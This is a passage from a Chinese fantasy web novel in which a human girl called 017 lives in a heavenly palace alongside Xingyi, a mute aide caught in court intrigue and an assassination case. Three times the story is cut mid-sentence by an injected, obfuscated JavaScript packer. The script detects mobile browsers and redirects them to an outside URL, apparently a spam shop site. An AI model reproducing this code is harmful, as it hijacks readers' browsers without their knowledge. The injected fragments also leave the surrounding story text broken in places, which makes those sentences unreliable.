星乙:人类的灭亡是暂时的,在那以后亿万年,地球会恢复如初,物质会归回各位,猿人会再次进化成为人类,人类会再次创造重复的文明。 重复人类曾经走过的每一步,灭亡、重生、灭亡、重生,永不停歇,无限循环,充满希望。 017短短惊愕了一下,就对这些遥远的事失去了兴趣。她提出想看看自己的未来,或者说自己的一生。 星乙答应了,带她去了天国书院。 在那里,书架上的书都被蒙上了白色的布,光是找就很废时间,017正踟蹰着要不要看,星乙爬上架子,翻了没几下,就找到了她的命运之书。 “我……” 真的要看吗? 能提前看到后半生的机会啊,多少钱都买不来的机会。 017伸出去的手又收回来,犹豫来犹豫去,还是没看。 她忽然坚定的说:“我改变主意了,我再也不要回去了。” 星乙无声低下了头。 第三个月,017彻底对云宫腻歪了,她瞒着星乙跑出去,在街上走了两步。 017到访云宫的消息早就飞遍天国,普通天人见到人类,各有反应,看珍稀动物一样把她围成一圈,热情的堵塞了镜都的中央大街,017只能看到一堆白色的影子挤在一起。 哄闹的市侩将她的声音淹没,包括“让我出去”的命令,所有人失控了一样,不再毫无条件的听从她的命令。 仅仅因为她的声音太小,没人听得清她说了什么,权利的使用权就被剥夺了。 怎么办? 对,找星乙,找星乙来帮我。 她突然想到,星乙是个哑巴,一个哑巴,不能说话,天国也不是人人都懂手语的,那星乙是靠什么在天国生存下来的? 半个小时后,她等到的不是星乙,而是兰可。 少女从天而降,身后双翼健硕有力,比云层还要洁白,比阳光还要耀眼。 017不自觉“哇”了出来,嘴巴张的能吞下鸡蛋:“你是天使吗?” “有病吧你?瞎跑什么!” 少女被她突如其来的吼声吓懵了,紧跟着就是兰可劈头盖脸的责骂。017僵在原地,周遭的空气粘稠的压着她,又湿了又沉。 她忍不住回想自己做错了什么,才平白招来这场责骂,可翻来覆去想遍了,也找不出半分错处。不是她的错,她只是无聊了吃来走一走,凭什么要被她这样骂? 一股委屈闷在胸腔里,沉甸甸的,连带着手脚都有些发凉,她低着头,不敢去看任何人,只觉得鼻尖酸涩,心口又慌又疼,连指尖都在不受控地轻颤。 “你现在跟我走,我送你回地球去!”兰可上来捉她的胳膊。 017浑身绷紧想挣开,四肢却软得提不起半分力气,眼泪瞬间弥漫眼眶,喉间堵着命令的话,偏觉自己落了理亏的模样,没脸说出口。 兰可的力气大得惊人,攥着她胳膊的手像铁钳,力道重得快要将她骨头扭断,017疼得浑身一颤,带着浓重哭腔叫出声:“好疼!” 就在这时,一双手突然用力掰开兰可的牵制,是星乙匆匆赶来。 兰可怒目圆睁,扬手还要去抓017,嘶吼道:“你滚开!” 星乙眼疾手快,反手扣住她双腕,狠狠交叉押在身前制住,目光急切地落在017身上,示意她说点什么。 017狠狠抹了一把眼角的泪,指尖蹭得眼眶发红,哑着嗓子咬牙道:“我不走。” 她往前迈了一步,用力推开兰可,转身将星乙牢牢护在身后,脊背挺得笔直,哪怕声音还带着未散的哭腔,却透着一股执拗的强硬:“你别想再欺负我们!” 8. 小鸟 兰可几乎瞬间暴怒,但骨子里流淌着听人类命令的基因让她无法出手,看着星乙,牙齿都要咬碎了:“你……” “稍安勿躁。”罗新和星乙前后脚到达,大眼一扫两边的僵持,就清楚大概发生了什么。 他着手按住兰可肩头,力道沉稳带着安抚:“没听见皇帝的命令吗,别再欺负他们了。” 兰可浑身一僵,捏到发抖的拳头松下来,狠狠瞪了眼017和星乙,胸口剧烈起伏,最终冷哼一声,甩开罗新,甩着胳膊怒气冲冲地走了。 兰可撂挑子不干了,星乙和罗新借用戒律殿的精兵开辟出一条道路,把017送回云宫,任务完成,罗新经过星乙身边,言语刻薄了他几句,最后扔下一句“麻烦”,这才心满意足的走了。 017对罗新无感,经此一役却极其厌恶兰可,又想到自己一时冲动惹出的躁动,017心虚的看了星乙一眼。 原本以为星乙会因为她偷跑出去很生气,没想到星乙只说:没事就好。 017暗暗松了一口气。 第四个月,星乙交给017一张手绘的天国地图。 九层大地,悬浮空中,白云皑皑风光无限。周遭环绕水柱,有船只逆流而上,冲云破雾,石破天惊。 有的地方标注着三角小旗子,手指戳一下,有文字浮现,详细清晰的标注了各地特色和各地航船时间,已然是比手机导航更好用的旅行指导。 除此之外,他还给了017一只钱袋,里面的空间不小,赫然堆满了面值不一的金币银币,简直是一座小金山,一条细长银河。 星乙拿出硬币和她介绍上面刻着的花纹和人脸。 硬币上雕刻的,都是天国的风云人物。 017:“除了右天王,其他们我都没见过。” 星乙以为她好奇,和她解释,因为左天王常常闭关,九大司命需要在紧要关头协助一臂之力,现在他们正在天国风琴塔修炼,一时半会见不着。 017:“闭关一次要多久?” 星乙算算:几百年吧。 “很长啊,”017舔了舔红润的双唇:“但对于你们来说很短吧?” 几个月,她的面容已经和刚到来时大不相同。没有了唯唯诺诺和左顾右盼的眼神,被天国感染成除了一双自信的双眼。 对于权利的使用,也从一开始的试探变成了心安理得的享用,她放飞自我,也变得胆大妄为。唯一没变的是,她仍然只愿意和星乙亲近。 看着意气风发的017,星乙觉得她没有变,要说有什么不一样,017似乎长高了。 出发旅行之前,星乙拿出钱包说要给她拿些钱。 017接过他的钱包,浅的一眼看到底,说:“我都花完了,你就要喝西北风了。” 星乙盈盈一笑,倒转钱袋,方才小小的钱包好像突然变成了无底洞,硬币倾泻而出,金银的瀑布流出晃眼的财富,大小宝石成了瀑布游鱼,点缀着滔天的财富。 017眼睛越瞪越大。 星乙扔掉钱袋,捧起一把真材实货的金子,蓝色的眼睛清澈闪亮,一脸调侃:花的完吗? 017大笑起来,玩性大发,撒雪一样抓起宝石洒向空中,四季如春的天国,千年如一日的空旷房间,顿时满天雪花。 “你哪来这么多钱?” 星乙咬着皮包的金边,看着脚边堆成山的金子,比划:工资。 “你的职位不是和罗新差不多…..”017奇道,怎么罗新抽根烟都费劲,星乙反而手里攒出了一座货真价实的金山。 星乙手指比划在胸前一指,那里白色的衣裳洁白无瑕,比划:他们的工资在这里,我的工资在钱包里。 017想起来了,她来太天国的第一天就注意到的,圣殿里所有的人,胸前都扣着大大小小,颜色不一的宝石勋章。 罗新有,兰可也有并且非常多。 她还真没注意过,星乙衣服上一颗宝石都没有,他只有一颗蓝宝石项链,还总藏在衣领里。 正想着,突然有东西崩到自己脚边,是一枚金币。 017抬起头,四下张望,突然瞥见墙上正中心有一个不深不浅的坑,像是用锤子砸出的凹洞。 活像一个靶子。 017有了一个大胆的想法,试探的看了一眼星乙的脸色,见星乙一脸无所谓,就抓起了一把宝石,扔飞镖一样朝那个洞扔起这些钱。 噼里啪啦的响声杂乱无章,红的,蓝的,钻石,金子,银片,闪着珠光的脆晶在空中撞击,不耐击打,堪堪破碎。 星乙毫不在意,甚至在017准头好的时候鼓鼓掌,他越是表现的惊讶,017就愈发大胆。发泄一般糟践着这些漂亮的东西,好像它们一文不值,只是一堆占地方的垃圾。 “星乙,你好败家啊!”017扔出一把碎银。 星乙在她身后站着,盯着她的背影,眼珠流转间慢慢坐在金山脚下。 银河岸边,宝石地上,星乙捡起一枚红宝石,发力狠狠一丢,宝石穿过017耳边,轻飘飘的砸在一边。 “准头真差!”017没回头。 星乙笑着陪她玩了起来。混乱中,随着两人高涨的性致,活动间,星乙脖子上的蓝宝石从衣领里跳出来,在半空跌宕起伏,在金光里发散属于自己的清冽光芒。 打累了,017在满地硬币的房间躺下,沉沉睡去。 她手里抓着一块粉色的水晶,脸上被硬币印出痕迹,硬币背面凹凸起伏,雕刻着右天王尤渚的肖像。 尤渚的脸印在017脸上,她自己不知道,但星乙看得一清二楚。 星乙看着“她”的脸,蜷缩在地上笑弯了腰,像只白色的虾米。 随后他枕着胳膊,半躺在她身边,一条腿伸长出去,手里是一颗指甲盖大小的钻石,细细观察它表面的微光,眼底一片松散。 鸟儿停落在窗外,似乎好奇屋内传来的光芒,鸣叫一声。 星乙笑容转瞬即逝,在017没看到的那瞬间,他的表情可以说是被刺痛的。 下一秒。 “砰!” 玻璃堪堪破碎,随着一声嘶鸣,钻石从鸟儿的张开的嘴打进去,带着血丝传出了它的脑袋,让它再也叫不出来。 少年扔出钻石的手无力的耷拉下来,夕阳的影子照进窗户,手借光在墙上倒映出影子,纯天然的画布上,手指灵活,一会儿是小狗,一会儿是猫咪,最后变成小鸟。星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037582|194639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乙看着活泼的小鸟,张开嘴,可惜他不会说话,模仿不了鸟儿叽叽喳喳的声音。累了,手指落下,又开始垂头丧气。 五月,六月,017一直没有回来。 云宫传来017在各个地界花天酒地胡作非为的消息时,星乙,兰可,罗新三人难得凑在一起。三人就地而坐成三角形,玩起扑克。 窗纱雪白,随风飞舞。 间隙,传来鸟鸣。 星乙的手指从纸牌移到桌沿,略长的指甲难耐的挠了挠。 罗新专心计算自己的胜算,他赌上了十年的存款来玩这一局,正乐不可支。玩着玩着,他和对桌人说:“乐摹传了消息,第七天层的地磁快修完了,只差水司去助个阵,左天王他们就回来了。” “嗯……”兰可闻言感叹道:“我好久没休过假了。” 鸟叫个没完没了,仿佛能想到鸟爪擦地的声音,肉翅和羽毛的摩擦声,鸟喙啄食的碰撞声。 星乙扔下手里一把牌,摘掉左耳上的东西,甩在桌子上。 忍无可忍般,连招呼都来不及打,一走了之。 罗新兰可面面相觑,罗新学着平时星乙的样子摇了摇头。 七月,这个月依旧精彩,017回来过一次,但没来得及见到星乙,就迫不及待再次踏上一个人的旅途。 她原本以为自己不会喜欢没有四季的天国,认为即使再美的风格,缺了色彩点缀,都不会有任何滋味。 可她从不知道,没有所有后顾之忧的自由自在,像一只飞鸟穿梭在云层中,不知疲惫,不感饿寒,是如此美妙。 几乎是她前脚刚走,星乙就回到了自己摆满天国史书的房间。 桌上,017留下一只盒子。 打开,看见里面的一点红色,星乙错愕不已,反应过来后,眼眶里的眼珠开始微微颤动。 是一枚石榴红色的宝石戒指,戒指是金的,包裹着细长尖锐的金叶子,被雕刻过的红宝石镶在上面,形状是一只小鸟。 外加一张卡片:我知道你喜欢鸟,所以买了这个送给你,希望你能喜欢,我很快就回来。 “哒!”盖子被用力的合上了。 第八个月,017花光了一半的钱,才恋恋不舍的回到了星乙身边。 星乙丝毫不提她在外面干的“好事”。017手舞足蹈的把一路上所见所闻事无巨细的都讲给他,星乙就安安静静的做她的听众。 017说她想看看现在的人界怎么样了。 整个云宫,没人能阻拦她的脚步,如果真有,那也只能是被她赋予全部信任,依赖非常的星乙。 而星乙一定不会拒绝,两人结伴而行,一路来到能看到天国设立在地球,用来管理地球事物的机构——“红寮”。透过一面镜子,017再次看到了人类的大地。 变化不大。 学校不变,朋友有了新朋友,座位有了新主人,书本文具都被卖掉,学生名单中等生位置中间,一个女孩的名字被从左到右划了一条漆黑的线,就像医院的心率仪,一条横线,宣布她的消失。 星乙扫了一眼,戳戳她的胳膊:原来你叫这个名字啊。 “我才不叫这个名字。”她这么说:“我叫017。” 9. 庸才 017想看她的家。 仅仅半年,017的父母接受了女儿失踪的事实,更加宝贝还在身边的小女儿,一家人对姐姐闭口不提,好像真的忘记了伤痛,成为了曾经被某件不大不小的误会耽误的,早该如此幸福美满的一家三口。 虽然017自始至终装作毫无波澜,但在看到家里“莫名”多出的许多玩偶和装饰物时,还是泄出了一丝刺痛。 原本两间相差不大的房间,如今明显的“偏了重心”,一切从对称变得不对称,让她既愤怒又不甘。 星乙默不作声的观察着她。 除了看到这三个人时,017脸上的表情经历了复杂又细微的变化,其余时间,看着各自生活的人类,017的目光是陌生的,很明显,她已经不自觉将自己当作旁观者,置身事外了。 “星乙,你为什么选中我呢?”017转过身,不再看镜子里的世界,而是看向星乙,问出这个一直被她忽略的问题:“几十亿的人,为什么选中我?” 星乙罕见的不直接告诉她答案,而是比划道:你猜猜。 “因为我恰好会手语?能和你沟通?” 摇头。 “因为我接受能力强,不会觉得是自己犯了神经病?” 摇头。 017想了又想,猜了又猜,没耐心的随口道:“因为我可有可无,人间蒸发也没什么关系?” 星乙一愣,这并不是他准备好的标准答案,可他没有再摇头了。 017也愣住了,半晌后,忽然被揽进一个人的臂弯里,星乙轻轻抱住了她。 017忍着眼泪,也环住了星乙,像小孩依偎父亲一样,轻飘飘的靠在他肩膀,又宛如婴儿和母亲一样亲密贴合,017喃喃细语:“谢谢你选我。“ 星乙笑了笑,有节奏的拍着她的背。 017没在星乙身上闻到任何味道,她甚至闻不到皮肤的味道。可星乙似乎带有超能力,不用一个字,就赢得了一个少女的信任,甚至不亚于其父母的信任。 “幸好我还有你,还有你陪着我。“017感到无力,忍不住把心里最真挚的情感剖白给他看。 此时的她没意识到,换作半年前,她绝对不敢这么直白的表达自己的情感。 直白和热情,是天人的特质。 在不知不觉中,她已经把自己和“人类”这个词,轻轻一笔,划在河的两岸。 九月,这个月,017待在云宫和星乙分享自己旅途的所见所闻。 她已经性情大变。 暴躁易怒,心直口快,独立自私,早已经和一年前内敛的女孩判若两人,所有人都对她避之不及,只有星乙不离不弃,一直装睡。 星乙翻着史书。听靠在墙边的罗新说着乱七八糟的事:“017因为无聊把天国宝库里的宝石磨成颜料画画,017因为一时兴起放走了天国圈养的飞马,017因为和兰可起争执,当众给了兰可一耳光……” 听到最后一句,星乙转过头,罗新的声音也戛然而止。 罗新雪白的衣裳从墙上擦到椅子,瘫在一张硬邦邦的石头摇椅上,想吊一阵星乙的胃口。 两人对视,僵持着,谁也不肯先眨眼。 事实证明,耐心和忍耐力这种把戏,用在星乙身上,罗新真是找错了对手。 闭上瞪的酸疼的眼睛,罗新娓娓道来:“起因是云宫的人对017不满,不少人跑去兰可那里告状,017知道后也冲了过去,然后她听到兰可和别人说……” “兰可说,”罗新清了清嗓子,学着兰可趾高气昂的语气说:“017早晚要洗去记忆,回到人类那里去,你们急什么!” “然后017一听这话,立刻就冲上去给了兰可一巴掌。” 星乙听完,面色不改,手上又翻过一页又一页。 罗新见状,小腿一伸,转了个华丽的舞步,以一种诡异的方式钻进了星乙的视线,“还不管管她?” 星乙没理,两指夹着罗新肩膀将他薅到一边。 蓝眸目光敏锐的落在罗新身后,那扇前两天刚修好的窗户外。窗台上,不知道什么时候,出现了了一支黑色羽毛。 是她的信号。 右天王除了星乙外的另一名副官——崔玥。 星乙接到暗示,拍了拍罗新的肩膀,动身超云宫深处跑去。 云宫靠前三分之二的土地提供给人们工作,后方则是成群结队的房子,供人居住。崔玥就住在那里。 他没有进正门,而是快步转身进了圣殿后的一间后殿。 推开门,一眼望去,没有熟悉的崔玥的身影,而是看到原本应该在圣殿处理公务的尤渚,此刻坐在客厅的沙发上,见到星乙开门进来一点都不意外,微笑着看着他。 没有发现崔玥的身影,偌大的大殿,只有他们两个人。 崔玥呢? 星乙后背发凉,神经不受控制紧绷起来。 以温和柔情而得美名的右天王,手里拿着一份报告在翻看。虽然在笑,但星乙确定她已经处在发怒的边缘了,于是慢慢挪动到她身后,开始捏她的肩膀。 “你来了,”右天王躲开了星乙的讨好,反手将纸团扔进星乙怀里,深深吸了一口气:“看看吧。” 星乙连忙展开纸团,扫了两眼。 是崔玥想要偷渡去“第四天”的证据和伪造的假身份明细。 崔玥和他的身份是一样的,他们都为右天王做事。不同于星乙和天王在外人眼里关系密切,崔玥比起他,藏的更深。她在天王身边的时间更长,长到星乙是她一手教出来的。 她这是打算背叛右天王,偷偷逃跑了。 名为天王副官,实际做的都是暗地里的工作,躲在天国法的侧面,以另一种形式捍卫天国的安全。他们依赖于天王的信任度日,身负太多不能为人知的秘密,当信任崩塌,就是他们这些小虫山穷水尽,不得不死的时候了。 逃跑,和出卖没什么两样。 崔玥,是一定要死的。 “她准备好了这些东西,却没有按时坐上离开的货船,我本来可以睁一只眼闭一只眼,但她的计划未免太潦草了,底下的人甚至把这种铁证送到了我的办公桌上,让我想包庇她都难啊。”天王似乎陷入两难,疲惫的将脸埋进手心里,精疲力尽的弯下腰,胳膊肘撑在膝头说:“星乙你说,我该怎么办呢?” 星乙气息本就不稳,闻言更像是忽然被堵住了口鼻,他不敢有什么多余的动作,快步走向偏殿。 “别让她死。”尤渚在他身后说。 彼时玥崔正背对他,站在那里面壁,听到星乙的脚步声,背后的手招了招,星乙听话的走到她身后。 墙上什么也没有,他不知道,崔玥在看什么,想什么。 星乙凑了过去,然后突然被崔玥扯过领子,没等他反应过来,一巴掌已经狠狠的打在他的脸上。 崔玥怒目狰狞:“是不是你!” 少年保持着偏过头的姿势,定着一动不动,好像被她打懵了,脑子没反应过来。看他这副表情,崔玥死死抓着他衣领的手也不自觉的松开了,将信将疑:“真不是你?那会是谁,底下那些瞎子怎么找得到我的行踪!” 星乙脸颊一片红,崔玥这一巴掌极狠,直接刮破了脸皮,疼的他一边眼睛挤起来,飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037583|194639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快摇了摇头。 崔玥自己掌心也火辣辣的,更加恼火,一脚踹在了星乙身上:“让我找到,非把他活煎了不可!” 星乙没躲,捂着肚子躺在地上,等着。 等崔玥情绪平复了,他才慢吞吞站起来,拉她转过身看着自己,比划:“为什么逃跑?” “为什么?”崔玥瞪了他一眼:“我被她抓住了把柄,才为她卖命至今,做尽了恶事,她答应过我,等她找到更合适的人替代我就会放我走,但她失信了。” 星乙:为什么要走?她对你不好吗?她从没有强迫过我们为她做事,也没有亏待过我们,如果你想走,可以直接说出来,她会让你走的,但你偷偷逃跑…… “她会让我走?别发疯了星乙!” 崔玥一把打在星乙的手上,看着星乙的眼神瞬间变了,有些怜悯,又感到荒谬,最后只能说:“你被她驯化了吗!” 不等他反应,崔玥又肯定的重复道:“你被她驯化了。” “没有功绩,没有勋章,有再多的钱也救不了我的命。”崔玥说着说着,扳住了星乙的肩膀,紧紧盯着他的眼睛似乎想要唤醒某些东西一样:“她对我的好,让所有人对我敬而远之,等有一天她想除掉我,圣殿上,没有一个人会为我投票,我必死无疑。” “我崔玥,不过是她养的一条狗,”崔玥的话就像尖刀,割开两人共有的伤疤,展示给他看。“星乙,你也是。” 星乙看着她又怒又悲愤的表情,陪着脸给了个无辜的表情,手上却说:我又不在乎。 崔玥嗤笑一声:“整个云宫,最了解你的就是我。你十四岁就跟着尤渚做事,她说什么你就做什么,心细如发,从没出过纰漏。估计也没少吃过她给的苦头。” 星乙听到最后一句,突然抬头:其实在被归到你管理之前,根本没人敢打我,右天王也没有。 可惜崔玥刚好这时候转过身,没看见他在瞎比划点什么。 她自顾自的说:“你从当年那个懦弱的小孩,长成今天这个……窝囊样,牺牲了这么多,好不容易到今天,你才舍不得死。” 崔玥说完,绕到星乙身后。 “好吧,还好当时没有真的上那艘船,不然可真翻不了身了,毕竟你也就是个打下手的料,想换掉我,她短时间内也找不到人吧。”崔玥冷冷的声音回荡在昏暗的房间, 星乙点了点头,笑着比划说:毕竟我这辈子最大的追求,是有一个自己的孩子,组建家庭嘛,和你们这些每天斗来斗去的人不一样,看你们这样,我觉得好累。 “废物。”崔玥看着他那张暗暗窃喜的脸,无语的在房间里打转:“尤渚打算关我多久?” 星乙见状,自觉脱掉外套,铺在地上让她坐着,然后半蹲下来比划:她还在生气,不过我会找机会求她尽快放你出来的。 “那就好,也只能这样了。”崔玥躺在他的衣服上,看着那双蓝色的眼睛:“星乙啊星乙,尤渚这么喜欢你,可惜你自己不争气,你没有法力,不好好琢磨琢磨出路,反倒每天围在她身边端茶送水,我听说你现在还包办帮她洗衣服这种杂事,怎么,真转行干保姆吗?” 他沉默了一下:不是有你吗? “有我……”崔玥哼了一声:“是有我,有我在乌盟就乱不了,不然靠尤渚那个软弱的样子,连养了只猫死了她都哭个不停……其实她和你一样,都是有点运气的庸才而已。” “但你再这样下去,可怎么好啊?” 星乙笑了:庸才也好啊,我觉得已经很好很好了。 崔玥不以为意,只觉得他头脑古怪,从星乙进门起到现在,第一次拿正眼看他。 10. 养子 崔玥只知道,星乙是尤渚带大的,当年不知道因为什么原因,假死过一次,从那之后,就成了尤渚的一个挂件,用“星乙”这个名字,每天跟在她身边。 后来,尤渚让自己来教他。 教他一些黑手艺,审讯技巧之类的必备技能,很早让他接触左右天王合力创办的,号称暗政府的“乌盟”。星乙也不负众望,一口气吃成了个胖子,第一次在人前露面,尤渚就给了他“副官”的名头。 那段时间是星乙的好日子,却是她崔玥难忘的噩梦。 她跟着尤渚很多年了,深知这个女人友善慈爱的皮下,是一副坚硬冰冷的铁骨架。每每看到她用那种疼爱的眼神看着星乙,崔玥都觉得毛骨悚然。 尤渚养大过三个孩子,写有一本养儿日志,到现在也会时不时翻出来看,里面圈圈点点,尽是罪证。 她说养女性格孤僻,于是把她养成了一块镇守在冰天雪地里的碑,孤苦无依的站在天国的边境。她说大儿子重情重义,于是把他推到自己的对立面,当作一个貌离神合靶子替自己分担骂名。她说小儿子天资过人,于是大战时她把一个十五岁的孩子拉上战场,看着她的儿子被敌人砍掉脑袋挂在旗杆上耀武扬威,丢尽颜面,从此一蹶不振彻底废掉。 现在呢,崔玥问尤渚,星乙是个什么样的孩子。 尤渚只是说:天生给人卖命的料。 还有什么比握着自己性命的上司,夸赞一个新人能干又懂事,来的更让人自危呢。 谁叫你跟我争副官的位置,天王的副官只会有一个,所以你注定是个失败者。 崔玥暗自庆幸,她希望星乙活不长久,最好早早被踢出局。 时间过了很久,见她们人前如朋友般和睦,人后如母子般亲昵,让崔玥也开始怀疑,尤渚到底想把他雕成个什么东西。 小猫小狗,观赏的花草,还是尤渚的自画像呢。 或者三者兼有。 但在这时尤渚把他交给了自己,于是崔玥使出了十二万般的气力,侮辱也好,打骂也好,只想把他逼走。但星乙就像块口香糖,死死粘在地板上,融不掉,扯下来还会在地板上留下黏糊糊的糖霜。 这个比喻还是星乙自己想出来的。 然后崔玥问他:“星乙,你觉得,我是块任人踩踏的地板砖吗?” 星乙连忙说他不是这个意思,但崔玥已经先一步把手里的文件甩到他脸上,让他滚。 星乙一边鞠躬道歉,一边很快的滚了。 在她身边,星乙似乎把这辈子能挨的打都挨遍了,能受的骂也受遍了,她是这么想的,但星乙似乎不这么想。因为他在云宫里还有两个比崔玥更大的冤家。 那个叫兰可的女孩,次次把他往死里打,那个叫罗新的男孩,次次往他心窝子里骂。星乙就像被打骂惯了一样,从小狗成了懒狗,老狗,未来还会变成死狗,烂狗。 后来尤渚回来了,星乙就顺理成章的站回了尤渚身后的位置去。 崔玥开始从自己以前对星乙的这些刁难里琢磨出味来。 好嘛,尤渚把幼狗养大,然后让她来把狗揍一顿,最后尤渚再出现把小狗救走。 这样一来小狗这辈子都会忠心耿耿啦。尤渚大概会笑着这么说吧。 这个女人总是这样,总是这样,总是这样。把孩子们一个个都套上模具,硬凹成自己觉得合适的样子。 自己着了她的道了。 崔玥凝望着他的脸,少年分明已经脱胎换骨,但每次星乙笑起来,她总觉得眼前还是当年那个孩子。 就是没想到,自己曾经那么挫磨他,现在虎落平阳,狗还能给自己叼根骨头。 崔玥说不上什么滋味。 等这次的事过去了,她一定好好弥补星乙。天王副官这个位置太难坐,有个人分担也不赖。 于是崔玥很突兀的问:“我们这些人,要么无父无母,要么有家不能回,被她捏着把柄为她做事,但你那时候那么小,能有什么大过错能让她威胁你这么多年?” 星乙指了指心口。 “难怪,”崔玥恍然大悟,继而大笑出声:“难怪这么忠心,原来心已经被挖走了一颗了。” “对了,我听说你带了个人类回来。” 星乙点点头。 崔玥:“怎么想出来的这种孬招,现在017玩野了,到时候你打算怎么说服她回地球继续做苦学生?你有后路吗?” 星乙手指捏住一颗豆子大小的空气:一点点。 崔玥嗯了一声,没在问别的,反正在她印象里,星乙一肚子阴招损招,尤渚不嫌弃她也没得管。 她翻了个身,闭上眼:“滚吧,去找尤渚,就说我认错了,求她看在往日的情面上,放我一马。” 星乙微微点头,但他没有立刻离开,而是看着崔玥的背影。 看了很久很久,久到崔玥已经熟睡,然后少年悄悄用手掌盖住了被她打破的那半边脸。 一片滚烫,血迹半干半湿。 少年张了张嘴,出口无声。 忍了你这么多年,终有一日,必加倍奉还。 比他行动更早的,是案件的进一步恶化。 星乙接到消息一路小跑过来,圣殿阶梯,上下两千多官员今天商量好了似的全部到齐了。望见兰可和罗新照常风吹不动的一左一右站在彼此对岸,星乙稳了呼吸,从兰可的那一边往上走。 两人擦肩而过,兰可双手背后,头也不回,“你这回算是惹上大麻烦了。” 星乙在尤渚身后站定,低头扫视八方,正和罗新浑浊的眼睛四目相对,罗新无声摆了个嘴形:西利洛女王。 西利洛女王,天国水司命,遥夏。 天国水系灵心的最强者。 星乙已经知晓了。 压抑的氛围似乎已经提前剧透了不会是什么好事,直到最后一个人慌忙赶到,所有人仰首去看孤身一人立在那里的右天王。 “水司在流金河遇到傀儡敌袭,十二名武士,全部死亡。” 圣殿中心,水族武士单膝跪地,双手奉上一把长剑。 “那些傀儡的目标就是水司,剩下十一人跟随水司抵抗到底,只有我一个人中了暗箭,中毒昏迷,被‘洛水’冲到了周围的岸边……” 战士言语慌乱,审问的人正待质疑,忽然被一只手抓住肩膀,拎到了一边,回头一看,是星乙。 星乙比划了一个“嘘”,拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037584|194639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他靠边站,给右天王和那个战士腾出地方。 “右天王,这案子德受害者越来越多,总要有个办法吧?” 女人神色从容,并不作答。 “右天王!” “那你想怎样?”女人终于开口,语气是说不出的庄严,透着不易被察觉的疲惫。 无人应声。 “你起来吧。”天王接过水族武士手中长剑,取出手帕,抹掉血迹。 她将破冰剑还给依然跪地不起的女武士,伸手将她拉起来:“先调内兵,去流金河,掘地三尺也要把她找回来。” “是!” 水司遇刺,生死未卜。 这个时间很特殊,左天王百年闭关尾声将至,九大司命纷纷进入风琴塔布阵助法,九角阵相互牵制,任何一角出现缺漏都会功亏一篑。 又是每年天国最忙碌的时候,云宫的人四处奔走,本来就人手不足。 人人都在看,选在此时下手,人人都在想,算准了来的吗,人人丢不约而同的把视线放在了那个仿佛事不关己的少年身上。 不知道第四封“我要杀了你”,又会出现在星乙身边哪个角落呢。 一夜之间。 镜都内外白骑士被调走大半,纷纷去往‘第六天’的流金河地带搜寻水神,一时间云宫内议论声四起,长了翅膀一般传遍各个宫殿。 星乙忙的脚不沾地,长途跋涉回来的017就自觉跑去找罗新消磨时光。 夜神宫,作为这里唯二的副手,工作被旁人包揽,在云宫最忙碌的时候,罗新依然闲的长草。 017在他的房间里到处打量,逛精品店一样东看看西看看。罗新办公室的风格和星乙完全相反,反强迫症,反洁癖,反整洁,反人类居住。 “你这里怎么没有床?” “办公室放床?”罗新躺在一张摇椅上,来回荡着,脸在017的视角里一闪一闪,“星乙是因为住在办公室才会放张床,他24小时待机,云宫第一劳模几十年连冠呢。” “难怪他那么有钱……”017走到连着房顶的收纳柜前,被玻璃窗里面的一张黑白照片吸引了注意力,伸手把照片拿了出来。 罗新摇晃的幅度小了,整个人瘫在椅子上,默不作声的盯着她的一举一动。 黑白照片里是五个年纪相仿的少年,罗新站在中间一脸奸计得逞的贱笑,星乙在他右手边笑得很开心,兰可站在他右手边双手抱臂十分不爽。 再往右看是一个解开衬衫扣子还带着墨镜的耍帅男,歪杆一样斜着倚在兰可身上,一副精力过剩没处使的感觉。最右边是两条低马尾乖乖放在身前,带着草莓发卡,穿着白大褂,低着头睡眼朦胧的女孩。 照片最下面从左到右写着名字:乐摹、兰可、罗新、季星乙、乐茴。 “原来他姓季啊。”017看着星乙的微笑,也不经意间笑着,抚摸那张照片。 罗新从椅子上跳起来,也凑上来看着这张照片:“这张照片,前不久才拍的呢,那时候……还在呢。” 说到后三个字,他声音突然降了下去,明显这是一句他不该说的话。 但他还是说出口了,就像引诱017继续往下问一样。 11. 去死 但017时刻谨记着星乙的告诫,绝不掉进罗新的陷阱里,她没有如罗新期盼的那样问下去,罗新也就没有说的必要。 他反而接上了另一个话题:“天国人母子关系不像你们那么密切,一般起名是不带姓氏的。一般带姓的只有两种情况,兰可那样家族有功勋的,乐摹那样和家里关系好的,星乙……他为什么要保留这个姓,我不知道。” 017对这些不感兴趣,翻过照片,看到背面的一行钢笔字——未成年六折。 她新奇不已:“你们居然还没成年?” 